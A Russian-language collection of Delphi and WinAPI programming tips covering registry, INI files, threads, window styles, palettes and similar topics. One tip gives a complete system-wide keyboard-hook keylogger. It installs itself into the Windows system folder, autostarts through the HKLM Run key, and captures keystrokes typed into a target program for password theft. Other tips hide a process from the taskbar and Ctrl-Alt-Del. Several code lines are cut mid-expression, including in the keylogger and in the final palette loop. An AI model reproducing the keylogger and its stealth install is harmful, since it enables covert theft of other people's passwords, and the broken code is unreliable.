Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.
Отключить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
Включить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
Переключение языка из программы Для переключения языка применяется вызов LoadKeyboardLayout:
var russian, latin: HKL;
russian:=LoadKeyboardLayout('00000419', 0);
latin:=LoadKeyboardLayout('00000409', 0);
-- -- -- -- -- где то в программе --- --- ---
SetActiveKeyboardLayout(russian);
Как отловить нажатия клавиш для всех процессов в системе? Вот, может поможет:
>1. Setup.bat
=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===
>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0); // default: map entire file
if lpvMem = nil then begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===
>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName)
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
=== Cut ===
Информация о состоянии клавиатуры Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.
О состоянии клавиатуры дают информацию следующие функции:
GetKeyState, GetAsyncKeyState, GetKeyboardState.
Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:
function AltKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;
end;
function CtrlKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;
end;
function ShiftKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;
end;
А заодно и для клавиш переключателей:
function CapsLock : boolean;
begin
result:=(GetKeyState(VK_CAPITAL) and 1)<>0;
end;
function InsertOn : boolean;
begin
result:=(GetKeyState(VK_INSERT) and 1)<>0;
end;
function NumLock : boolean;
begin
result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;
end;
function ScrollLock : boolean;
begin
result:=(GetKeyState(VK_SCROLL) and 1)<>0;
end;
Управление питанием из программы на Delphi При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:
SetSystemPowerState(Suspended, Mode: Boolean):boolean;
Suspended должно быть TRUE для ухода в спячку.
Mode — режим входа в спячку. Если TRUE, то всем программам и драйверам посылается Message PBT_APMSUSPEND, по которому они должны немедленно прекратить работу. Если FALSE, то посылается Message PBT_APMQUERYSUSPEND запроса на спячку, и драйвера в ответ могут дать отказ на включение режима спячки.
Возврат функции SetSystemPowerState: TRUE — режим включен.
Пример получения списка запущенных приложений.procedure TForm1.Button1Click(Sender: TObject);
VAR
Wnd : hWnd;
buff: ARRAY [0..127] OF Char;
begin
ListBox1.Clear;
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN {Не показываем:}
IF (Wnd <> Application.Handle) AND {-Собственное окно}
IsWindowVisible(Wnd) AND {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) AND {-Дочерние окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0){-Окна без заголовков}
THEN BEGIN
GetWindowText(Wnd, buff, sizeof(buff));
ListBox1.Items.Add(StrPas(buff));
END;
Wnd := GetWindow(Wnd, gw_hWndNext);
END;
ListBox1.ItemIndex := 0;
end;
Как отключить показ кнопки программы в TaskBar и по Alt-Tab и в Ctrl-Alt-Del Внеся изменения (выделенные цветом) в свой проект вы получите приложение, которое не видно в TaskBar и на него нельзя переключиться по Alt-Tab
program Project1;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
ExtendedStyle : integer;
begin
Application.Initialize;
ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW});
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Если включить синий коментарий, то получите очень интересное приложение. Оно не видно в TaskBar и на него нельзя переключиться по Alt-Tab, но когда приложение минимизируется оно остается на рабочем столе в виде свернутого заголовка (прямо как в старом добром Windows 3.11)
Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал:
Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown — под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение — ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.
А вот как отрубить показ файла в Ctrl-Alt-Del
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
implementation
procedure TForm1.Button1Click(Sender: TObject);
begin //Hide
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin //Show
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 0);
end;
Добавление программы в автозапускsProgTitle: Название для программы
sCmdLine: Имя EXE файла с путем доступа
bRunOnce: Запустить только один раз или постоянно при загрузке Windows
procedure RunOnStartup(sProgTitle, sCmdLine : string; bRunOnce : boolean);
var
sKey : string;
reg : TRegIniFile;
begin
if (bRunOnce)then sKey := 'Once'
else sKey := '';
reg := TRegIniFile.Create('');
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString('Software\Microsoft'
+ '\Windows\CurrentVersion\Run'
+ sKey + #0,
sProgTitle, sCmdLine);
reg.Free;
end;
// Например
RunOnStartup('Title of my program','MyProg.exe',False );
Примечание. Этот пример удобно использовать при написании деинсталляторов — добавить однократный вызов деинсталлятора и запросить от пользователя перезагрузку. Этот прием позволит безболезненно удалять DLL и им подобные файлы, которые обычном способом удалить невозможно (они загружены в силу того, что использовались деинсталлируемой программой или работают в момент деинсталляции).
Удаляет файл в корзинуuses ShellAPI;
function DeleteFileWithUndo( sFileName : string ) : boolean;
var fos : TSHFileOpStruct;
begin
sFileName:= sFileName+#0;
FillChar( fos, SizeOf( fos ), 0 );
with fos do begin
wFunc := FO_DELETE;
pFrom := PChar( sFileName );
fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
end;
Result := ( 0 = ShFileOperation( fos ) );
end;
Добавить ссылку на мой файл в меню Пуск|Документы uses ShellAPI, ShlOBJ;
procedure AddToStartDocumentsMenu( sFilePath : string );
begin
SHAddToRecentDocs( SHARD_PATH, PChar( sFilePath ) );
end;
// Например
AddToStartDocumentsMenu( 'c:\windows\MyWork.txt' );
Устанавливаем свой WallPaper для Windowsprogram wallpapr;
uses Registry, WinProcs;
procedure SetWallpaper(sWallpaperBMPPath : String; bTile : boolean );
var
reg : TRegIniFile;
begin
// Изменяем ключи реестра
// HKEY_CURRENT_USER
// Control Panel\Desktop
// TileWallpaper (REG_SZ)
// Wallpaper (REG_SZ)
reg := TRegIniFile.Create('Control Panel\Desktop' );
with reg do begin
WriteString( '', 'Wallpaper', sWallpaperBMPPath );
if( bTile )then begin
WriteString('', 'TileWallpaper', '1' );
end else begin
WriteString('', 'TileWallpaper', '0' );
end;
end;
reg.Free;
// Оповещаем всех о том, что мы
// изменили системные настройки
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );
end;
begin
// пример установки WallPaper по центру рабочего стола
SetWallpaper('c:\winnt\winnt.bmp', False );
end.
Как запретить кнопку Close [x] в заголовке окна. procedure TForm1.FormCreate(Sender: TObject);
var Style: Longint;
begin
Style := GetWindowLong(Handle, GWL_STYLE);
SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU);
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if (Key = VK_F4) and (ssAlt in Shift) then begin
MessageBeep(0); Key := 0;
end;
end;
Каким образом можно изменить системное меню формы? Hе знаю как насчет акселераторов, надо поискать, а вот добавить Item — пожалуйста
type
TMyForm=class(TForm)
procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;
end;
const
ID_ABOUT = WM_USER+1;
ID_CALENDAR=WM_USER+2;
ID_EDIT = WM_USER+3;
ID_ANALIS = WM_USER+4;
implementation
procedure TMyForm.wmSysCommand;
begin
case Message.wParam of
ID_CALENDAR:DatBitBtnClick(Self) ;
ID_EDIT :EditBitBtnClick(Self);
ID_ANALIS:AnalisButtonClick(Self);
end;
inherited;
end;
procedure TMyForm.FormCreate(Sender: TObject);
var SysMenu:THandle;
begin
SysMenu:=GetSystemMenu(Handle,False);
InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');
end;
Запуск внешней программы и ожидание ее завершения procedure TForm1.Button1Click(Sender: TObject);
var
si : Tstartupinfo;
p : Tprocessinformation;
begin
FillChar( Si, SizeOf( Si ) , 0 );
with Si do begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Application.Minimize;
Createprocess(nil,'notepad.exe',nil,nil,false,
Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
Application.Restore;
end;
Как узнать местоположение специальных папок у Windows? var
FolderPath :string;
Registry := TRegistry.Create;
try
Registry.RootKey := HKey_Current_User;
Registry.OpenKey('Software\Microsoft\Windows\'+
'CurrentVersion\Explorer\Shell Folders', False);
FolderName := Registry.ReadString('StartUp');
{Cache, Cookies, Desktop, Favorites,
Fonts, Personal, Programs, SendTo, Start Menu, Startp}
finally
Registry.Free;
end;
Как засунуть в исполняемый файл wav-файл, и затем проиграть этот звук? В файл MyWave.rc пишешь:
MyWave RCDATA LOADONCALL MyWave.wav
Затем компилируешь
brcc32.exe MyWave.rc
получаешь MyWave.res.
В своей программе пишешь:
{$R MyWave.res}
procedure RetrieveMyWave;
var
hResource: THandle;
pData: Pointer;
begin
hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA));
try
pData := LockResource(hResource);
if pData = nil then raise Exception.Create('Cannot read MyWave');
// Здесь pData указывает на MyWave
// Теперь можно, например, проиграть его (Win32):
PlaySound('MyWave', 0, SND_MEMORY);
finally
FreeResource(hResource);
end;
end;
Как скрыть таскбар? procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
begin
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_HIDE);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
hTaskBar : THandle;
begin
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
end;
События нажатия на системные кнопки формы (минимизация, закрытие...)
Хотелось бы чтобы при нажатии на кнопку minimize программа исчезала из таскбара.
При нажатии на эти кнопки происходит сообщение WM_SYSCOMMAND, его то и надо перехватить.
При этом:
uCmdType = wParam; // type of system command requested
xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
yPos = HIWORD(lParam); // vertical postion, in screen coordinates
Пример:
Type TMain = class(TForm)
....
protected
Procedure WMGetSysCommand(var Message :TMessage); message WM_SYSCOMMAND;
end;
.....
//------------------------------------------------------------------------
// Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)
//------------------------------------------------------------------------
Procedure TForm1.WMGetSysCommand(var Message : TMessage) ;
Begin
IF (Message.wParam = SC_MINIMIZE) Then Form1.Visible:=False
Else Inherited;
End;
Подключение и отключение сетевых дисководов Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:
1.Подключить сетевой ресурс
WNetAddConnection(NetResourse,Password,
LocalName:PChar):longint;
где NetResourse — имя сетевого ресурса (например '\\P166\c')
Password — пароль на доступ к ресурсу (если нет пароля, то пустая строка)
LocalName — имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')
Пример подключения сетевого диска
WNetAddConnection('\\P166\C','','F:');
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR — Нет ошибок — успешное завершение
ERROR_ACCESS_DENIED — Ошибка доступа
ERROR_ALREADY_ASSIGNED — Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.
ERROR_BAD_DEV_TYPE — Неверный тип устройства.
ERROR_BAD_DEVICE — Неверное устройство указано в LocalName
ERROR_BAD_NET_NAME — Неверный сетевой путь или сетевое имя
ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_INVALID_PASSWORD — Неверный пароль
ERROR_NO_NETWORK — Нет сети
2.Отключить сетевой ресурс
WNetCancelConnection(LocalName:PChar;
ForseMode:Boolean):Longint;
где
LocalName — имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')
ForseMode — режим отключения :
False — корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)
True — скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR — Нет ошибок — успешное завершение
ERROR_DEVICE_IN_USE — Ресурс используется
ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_NOT_CONNECTED — Указанное ус-во не является сетевым
ERROR_OPEN_FILES — На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false
Рекомендация: при отключении следует сначала попробовать отключить ус-во с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true
Внешние модули (DLL), нитиНадо подключить DLL и использовать некоторые ее функции.
Есть первый вариант:
procedure procname1(param1:type1; param2:type2... и т.д.) external 'dllname.dll' name 'procname_in_dllfile';
Но тут есть один нюанс: при отсутствии DLL модуля, либо при отсутствии в нем указанной процедуры будет выдаваться ошибка и запуск программы будет отменен.
Второй вариант:
Type
prc1 = procedure (param1:type1; param2:type2... и т.д.) ;
var
proc1 : prc1;
head : integer ; // или что-то в этом роде
.....
var
p : pointer;
begin
head:= loadlibrary ('DLLFile.DLL'); // загружаем модуль в память
if head=0 then begin
// Сообщаем о том что модуль не найден
end
else begin
// Ищем в модуле наши процедуры и функции
p:=getprocaddress ('Имя_Искомой_Процедуры');
// Тут посмотри точно название этой
// функции в хелпе по LoadLibrary.
// Имя_Искомой_Процедуры должно
// быть один в один с именем процедуры
// в библиотеке с учетом регистров.
if p=nil then begin
// Процедура не найдена
end else proc1:=prc1(p);
end;
Как передать при создании нити (Tthread) ей некоторое значение? К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?
Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.
Например:
......
TYourThread = class(TTHread)
private
FFileName: String;
protected
procedure Execute; overrided;
public
constructor Create(CreateSuspennded: Boolean; const AFileName: String);
end;
.....
constructor TYourThread.Create(CreateSuspennded: Boolean; const AFileName: String);
begin
inherited Create(CreateSuspennded);
FFIleName := AFileName;
end;
procedure TYourThread.Execute;
begin
try
....
if FFileName = ...
....
except
....
end;
end;
....
TYourForm = class(TForm)
....
private
YourThread: TYourThread;
procedure LaunchYourThread(const AFileName: String);
procedure YourTreadTerminate(Sender: TObject);
....
end;
....
procedure TYourForm.LaunchYourThread(const AFileName: String);
begin
YourThread := TYourThread.Create(True, AFileName);
YourThread.Onterminate := YourTreadTerminate;
YourThread.Resume
end;
....
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
....
end;
....
end.
СGI программа должна показывать GIF изображение.
Имею тег. Прочитать JPeg, указать ContentType=Image/jpeg и выдать изображение в SaveToStream умею. Как сделать тоже самое для файлов GIF, в особенности анимационных? Если можно просто перелить дисковый файл (пусть он хоть трижды GIF) в Response CGI-програмы, то как это сделать?
Выдайте из скрипта следующее:
Content-type: image/gif
<содержимое gif-файла>
Советы по работе с реестром.
Использование некоторых ключей реестра Добавление элементов в контекстное меню "Создать"
1. Создать новый документ, поместить его в папку Windows/ShellNew
2. В редакторе реестра найти расширение этого файла, добавить новый подключ, добавить туда строку: FileName в качестве значения которой указать имя созданного файла.
Путь к файлу который открывает не зарегистрированные файлы1. Найти ключ HKEY_CLASSES_ROOT\Unknown\Shell
2. Добавить новый ключ Open
3. Под этим ключом еще ключ с именем command в котором изменить значение (По умолчанию) на имя запускаемого файла, к имени нужно добавить %1. (Windows заменит этот символ на имя запускаемого файла)
В проводнике контекстное меню "Открыть в новом окне"1. Найти ключ HKEY_CLASSES_ROOT\Directory\Shell
2. Создать подключ: opennew в котором изменить значение (По умолчанию) на: "Открыть в новом окне"
3. Под этим ключом создать еще подключ command (По умолчанию) = explorer %1
Использование средней кнопки мыши Logitech в качестве двойного щелчкаПодключ HKEY_LOCAL_MACHINE\SoftWare\Logitech и там найти параметр DoubleClick заменить 000 на 001
Новые звуковые событияНапример создает звуки на запуск и закрытие WinWord
HKEY_CURRENT_USER\AppEvents\Shemes\Apps добавить подключ WinWord и к нему подключи Open и Close.
Теперь в настройках звуков видны новые события
Путь в реестре для деинсталяции программ: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
Работа с реестром в Delphi 1
В Delphi 2 и выше появился объект TRegistry при помощи которого очень просто работать с реестром. Но мы здесь рассмотрим функции API, которые доступны и в Delphi 1.
Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы…). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.
Для работы с реестром применяется ряд функций API :
RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один — HKEY_CLASSES_ROOT, в в Delphi3 — все. SubKey — имя раздела — строится по принципу пути к файлу в DOS (пример subkey1\subkey2\…). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное — ошибка.
RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат — код ошибки или ERROR_SUCCESS, если успешно.
RegCloseKey(Key: HKey): Longint;
Закрывает раздел, на который ссылается Key. Возврат — код ошибки или ERROR_SUCCESS, если успешно.
RegDeleteKey(Key: HKey; SubKey: PChar): Longint;
Удалить подраздел Key\SubKey. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.
RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;
Получить имена всех подразделов раздела Key, где Key — Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer — указатель на буфер, cb — размер буфера, index — индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование — в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).
RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;
Возвращает текстовую строку, связанную с ключом Key\SubKey. Value — буфер для строки; cb — размер, на входе — размер буфера, на выходе — длина возвращаемой строки. Возврат — код ошибки.
RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;
Задать новое значение ключу Key\SubKey, ValType — тип задаваемой переменной, Value — буфер для переменной, cb — размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.
Примеры :
{ Создаем список всех подразделов указанного раздела }
procedure TForm1.Button1Click(Sender: TObject);
var
MyKey : HKey; { Handle для работы с разделом }
Buffer : array[0..1000] of char; { Буфер }
Err, { Код ошибки }
index : longint; { Индекс подраздела }
begin
Err:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }
if Err<> ERROR_SUCCESS then
begin
MessageDlg('Нет такого раздела !!',mtError,[mbOk],0);
exit;
end;
index:=0;
{Определили имя первого подраздела }
Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer));
while err=ERROR_SUCCESS do { Цикл, пока есть подразделы }
begin
memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }
inc(index); { Увеличим номер подраздела }
Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос }
end;
RegCloseKey(MyKey); { Закрыли подраздел }
end;
Объект INIFILES - работа с INI файлами.
Почему иногда лучше использовать INI-файлы, а не реестр?
1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.
2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)
3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.
Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.
Constructor Create('d:\test.INI');
Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.
WriteBool(const Section, Ident: string; Value: Boolean);
Присвоить элементу с именем Ident раздела Section значение типа boolean
WriteInteger(const Section, Ident: string; Value: Longint);
Присвоить элементу с именем Ident раздела Section значение типа Longint
WriteString(const Section, Ident, Value: string);
Присвоить элементу с именем Ident раздела Section значение типа String
ReadSection (const Section: string; Strings: TStrings);
Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)
ReadSectionValues(const Section: string; Strings: TStrings);
Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :
имя_переменной = значение
EraseSection(const Section: string);
Удалить раздел Section со всем содержимым
ReadBool(const Section, Ident: string; Default: Boolean): Boolean;
Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadInteger(const Section, Ident: string; Default: Longint): Longint;
Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadString(const Section, Ident, Default: string): string;
Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
Free;
Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом
Property Values[const Name: string]: string;
Доступ к существующему параметру по имени Name
Пример :
Procedure TForm1.FormClose(Sender: TObject);
var
IniFile:TIniFile;
begin
IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }
IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }
IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }
IniFile.WriteString('Options' , 'Secret password', Pass);
{ Секция Options: в Secret password записать значение переменной Pass }
IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}
IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }
IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }
end;
Советы по работе с графикой
Работа с палитройКак работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?
Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:
procedure TMain.BitBtnClick(Sender: TObject);
var
Palette : HPalette;
PaletteSize : Integer;
LogSize: Integer;
LogPalette: PLogPalette;
Red : Byte;
begin
Palette := Image.Picture.Bitmap.ReleasePalette;
// здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не
// знаю, удаляются ли ненужные палитры автоматически
if Palette=0 then exit; //Палитра отсутствует
PaletteSize := 0;
if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit;
// Количество элементов в палитре = paletteSize
if PaletteSize = 0 then Exit; // палитра пустая
// определение размера палитры
LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
GetMem(LogPalette, LogSize);
try
// заполнение полей логической палитры
with LogPalette^ do begin
palVersion := $0300; palNumEntries := PaletteSize;
GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
// делаете что нужно с палитрой, например:
Red := palPalEntry[PaletteSize-1].peRed;
Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);
palPalEntry[PaletteSize-1].peRed := 0;
//.......................................
end;
// завершение работы
Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
finally
FreeMem(LogPalette, LogSize);
// я должен позаботиться сам об удалении Released Palette
DeleteObject(Palette);
end;
end;
{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
и меняет его палитру при нажатии кнопки }
unit bmpformu;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type TBmpForm = class(TForm)
Button1: TButton;
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
Bitmap: TBitmap;
procedure ScrambleBitmap;
procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;
var
BmpForm: TBmpForm;
implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('bor6.bmp');
end;
procedure TBmpForm.FormDestroy(Sender: TObject);
begin
Bitmap.Free;
end;
// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
m.Result := LRESULT(False);
end;
procedure TBmpForm.FormPaint(Sender: TObject);
var x, y: Integer;
begin
y := 0;
while y
x := 0;
while x
